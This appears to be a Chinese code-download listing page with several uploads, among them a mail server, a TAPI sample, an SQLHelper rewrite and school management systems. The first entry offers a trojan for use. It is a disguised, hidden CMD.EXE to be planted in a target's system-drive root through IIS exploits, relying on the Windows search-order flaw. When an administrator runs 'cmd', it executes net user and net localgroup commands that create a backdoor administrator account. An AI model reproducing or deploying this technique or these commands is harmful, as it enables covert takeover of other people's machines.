你是不是經(jīng)常在開始菜單的運(yùn)行窗口里運(yùn)行命令呢? 看看這個(gè)漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執(zhí)行搜索的時(shí)候, 首先查找根目錄 而開始菜單的運(yùn)行窗口里執(zhí)行命令, 也是首先在系統(tǒng)盤的根目錄里進(jìn)行查找. 這個(gè)漏洞其實(shí)是已經(jīng)是公開的秘密了. 既然現(xiàn)在作為漏洞公布出來, 我也就把網(wǎng)上的PasswordReminder.cpp拿來改了改 加了一個(gè)加超級(jí)管理員用戶和執(zhí)行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標(biāo)機(jī)器的系統(tǒng)盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權(quán)限, 同時(shí)Asp/fp30reg.dll等遠(yuǎn)程溢出出來的Shell, 一般都只有匿名權(quán)限, 但是它具有寫根目錄的權(quán)限 這個(gè)時(shí)候, 就可以把本程序放到目標(biāo)機(jī)器的系統(tǒng)盤根目錄 只要等管理員在機(jī)器的開始菜單里運(yùn)行命令: cmd 一切盡在掌握中.:) PS: 系統(tǒng)執(zhí)行后, 會(huì)先產(chǎn)生一個(gè)線程來做一些處理 然后用system()函數(shù)調(diào)用cmd.exe來讓用戶能夠執(zhí)行命令. 產(chǎn)生出來的線程會(huì)產(chǎn)生兩個(gè)進(jìn)程序執(zhí)行如下兩個(gè)命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統(tǒng)上增加了一個(gè)超級(jí)
標(biāo)簽： 964057 zdnet http 2100
上傳時(shí)間： 2015-01-12
上傳用戶：qlpqlq
XMail is an Internet and intranet mail server featuring an SMTP server, POP3 server, finger server, multiple domains, no need for users to have a real system account, SMTP relay checking, RBL/RSS/ORBS/DUL and custom ( IP based and address based ) spam protection, SMTP authentication ( PLAIN LOGIN CRAM-MD5 POP3-before-SMTP and custom ), a POP3 account syncronizer with external POP3 accounts, account aliases, domain aliases, custom mail processing, direct mail files delivery, custom mail filters, mailing lists, remote administration, custom mail exchangers, logging, and multi-platform code. XMail sources compile under GNU/Linux, FreeBSD, OpenBSD, NetBSD, OSX, Solaris and NT/2K/XP.
標(biāo)簽： server featuring Internet intranet
上傳時(shí)間： 2015-01-12
上傳用戶：asddsd
來自《VC6.0可視化編程》的源碼，適用于初學(xué)者。 這是第一章，關(guān)于multi windows 的代碼
上傳時(shí)間： 2013-12-20
上傳用戶：TF2015
The TapiComm sample uses both the Telephony API and the Win32 Communications API to demonstrate one way to implement a very simple TTY application. While the user interface and TTY emulation are very rudimentary, the TAPI and comm modules are fairly complete.
標(biāo)簽： Communications demonstrate API Telephony
上傳時(shí)間： 2014-12-07
上傳用戶：chenxichenyue
重寫了微軟提供SQLHelper(共用的數(shù)據(jù)庫(kù)調(diào)用接口） 1把SqlHelper的connectionString做成一個(gè)全局量，統(tǒng)一設(shè)置數(shù)據(jù)庫(kù)連接字符串 2增加了返回特定表名的DataSet的各接口。 可在項(xiàng)目的config文件設(shè)置數(shù)據(jù)庫(kù)連接字符串 private static string connectionString = System.Configuration.ConfigurationSettings.AppSettings["ConnectionString"] <!-- application specific settings --> <appSettings> <add key="ConnectionString" value="packet size=4096 user id=sa data source=localhost persist security info=True initial catalog=NorthWind password= "/> </appSettings> 當(dāng)然可以把數(shù)據(jù)庫(kù)連接方法修改后直接用。
標(biāo)簽： connectionString SQLHelper SqlHelper 微軟
上傳時(shí)間： 2013-12-12
上傳用戶：釣鰲牧馬
linux下的gdbserver源碼，供multi-ice調(diào)試ARM處理器
上傳時(shí)間： 2013-12-24
上傳用戶：txfyddz
An implementation of the TCP/IP protocol suite for the LINUX operating system. INET is implemented using the BSD Socket interface as the means of communication with the user level.
標(biāo)簽： implementation implemented the operating
上傳時(shí)間： 2015-02-25
上傳用戶：xuanjie
1、本系統(tǒng)采用B/S架構(gòu)，是學(xué)校智能辦公系統(tǒng)的一部分，菜單中的“用戶管理”、“權(quán)限管理”、“菜單管理”、“幫助主題”已集成在辦公系統(tǒng)之中，因此本系統(tǒng)不提供這幾項(xiàng)功能。 2、本系統(tǒng)采用集中管理、分工合作的方式，將用戶分為五個(gè)級(jí)別，每個(gè)級(jí)別的用戶只能使用相應(yīng)的功能，因此，能公平、公正、公開地考評(píng)各位教師的教學(xué)質(zhì)量。 3、支持多人同時(shí)操作和遠(yuǎn)程操作，大大縮短數(shù)據(jù)錄入時(shí)間。 安裝和使用注意事項(xiàng)： 1、將壓縮文件解壓到IIS目錄后，運(yùn)行cjcl目錄下的reg.bat。 2、系統(tǒng)內(nèi)置五個(gè)用戶：系統(tǒng)管理、學(xué)校領(lǐng)導(dǎo)、成績(jī)錄入、班主任、一般用戶，其中前四個(gè)用戶的密碼均為1，而一般用戶在登錄頁面只需點(diǎn)提交，一般用戶只提供查詢功能。 3、使用前先由學(xué)校領(lǐng)導(dǎo)創(chuàng)建新任務(wù)，錄入學(xué)校信息、教師信息、班信息等，再由班主任錄入學(xué)生信息，最后由成績(jī)錄入員錄入學(xué)生成績(jī)。 4、在數(shù)據(jù)庫(kù)中的user表中更改或增加用戶，在jbqx表中更改每個(gè)級(jí)別的權(quán)限。 如有建議或疑問請(qǐng)與作者聯(lián)系。
標(biāo)簽： 架構(gòu)
上傳時(shí)間： 2015-03-11
上傳用戶：qlpqlq
The practice of enterprise application development has benefited from the emergence of many new enabling technologies. Multi-tiered object-oriented platforms, such as Java and .NET, have become commonplace.
標(biāo)簽： application development enterprise benefited
上傳時(shí)間： 2015-03-11
上傳用戶：aig85
本系統(tǒng)為內(nèi)部系統(tǒng)，帳戶由管理員添加、管理； 分為兩個(gè)組，User組和Boss組。Boss組的帳戶可以發(fā)廣播通知； 任意兩個(gè)用戶間可以互相通信； 數(shù)據(jù)庫(kù)接口用DAO，網(wǎng)絡(luò)通信用 CSocket+CSocketFile；
標(biāo)簽：
上傳時(shí)間： 2015-03-16
上傳用戶：小儒尼尼奧
蟲蟲下載站版權(quán)所有 京ICP備2021023401號(hào)-1
